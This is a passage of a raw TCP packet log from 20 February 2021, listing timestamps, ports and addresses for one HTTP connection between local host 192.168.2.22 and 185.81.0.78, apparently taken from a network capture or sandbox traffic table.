Feb 20, 2021 09:48:08.922054052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922075987 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922087908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922238111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922259092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922281027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922290087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922298908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922303915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922318935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922326088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922341108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922347069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922358990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922369003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922389030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922396898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922409058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922415018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922424078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922458887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922621965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922643900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922668934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922671080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922679901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922692060 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922700882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922713041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922734022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922734976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922744036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922772884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922779083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922801971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922822952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922826052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922835112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922843933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922864914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922864914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922874928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922885895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.922900915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922920942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.922979116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923001051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923021078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923028946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923036098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923047066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923057079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923070908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923090935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923111916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923111916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923134089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923135996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923152924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923156977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923166037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923186064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923283100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923305035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923327923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923330069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923338890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923353910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923369884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923376083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923393011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923402071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923418999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923422098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923440933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923443079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923455954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.923465014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.923495054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.926314116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.929469109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.935503960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.935551882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.935682058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.961057901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961088896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961101055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961112976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961128950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961143970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961159945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961175919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961191893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961299896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.961355925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.961597919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961617947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961635113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961651087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961668015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961684942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961704969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961723089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961719990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.961740971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.961780071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.961791039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.961797953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.961805105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.962692976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.962721109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.962745905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.962766886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.962786913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.962795019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.962809086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.962829113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.962830067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.962852955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.962873936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.962884903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.962898970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.962918043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.962935925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.963357925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963421106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.963423014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963450909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963474035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963475943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.963495016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963496923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.963517904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963532925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.963538885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963558912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.963560104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963588953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.963638067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.963711977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963735104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963756084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963778019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963783026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.963799953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963820934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963841915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.963865995 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964037895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964059114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964085102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964108944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964128971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964150906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964170933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964190960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964445114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.964607000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964634895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964658976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964679956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964699984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964721918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964673996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.964745045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964766026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964804888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.964818001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.964821100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.964823961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.964826107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.964915037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.964955091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964977980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.964999914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965025902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965030909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965049028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965070009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965080023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965090990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965112925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965150118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965132952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965171099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965184927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965226889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965233088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965251923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965274096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965287924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965295076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965317965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965337992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965356112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965404034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965425014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965447903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965471029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965491056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965503931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965512037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965533972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965558052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965575933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965580940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965601921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965624094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965641022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965646029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965667009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965687990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965692997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965709925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965735912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965743065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965759993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965780973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965794086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965804100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965832949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965842962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965856075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965878010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965898991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965908051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965919971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965941906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965944052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.965962887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965989113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.965997934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966012955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966033936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966048956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966054916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966078043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966099024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966103077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966120958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966169119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966448069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966470957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966491938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966514111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966536045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966547012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966556072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966578960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966599941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966623068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966625929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966661930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966674089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966757059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966780901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966803074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966813087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966826916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966833115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966849089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966856003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966866016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966876984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966891050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966901064 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.966918945 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.966952085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968271017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968296051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968316078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968339920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968344927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968360901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968363047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968384027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968389034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968400955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968424082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968426943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968446970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968449116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968463898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968472958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968494892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968494892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968518972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968522072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968542099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968542099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968564034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968565941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968585968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968590975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968610048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968612909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968636036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968636990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968657970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968677044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968681097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968699932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968722105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968743086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968765020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968767881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968785048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968810081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968820095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968833923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968854904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968877077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968877077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968899012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968919039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968925953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968941927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968962908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.968972921 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.968987942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.969012022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.969023943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.969069004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.976712942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.976742983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.976759911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.976875067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986629963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986664057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986681938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986710072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986725092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986737013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986756086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986773014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986788034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986800909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.986804008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986821890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.986833096 CET	49165	80	192.168.2.22	185.81.0.78
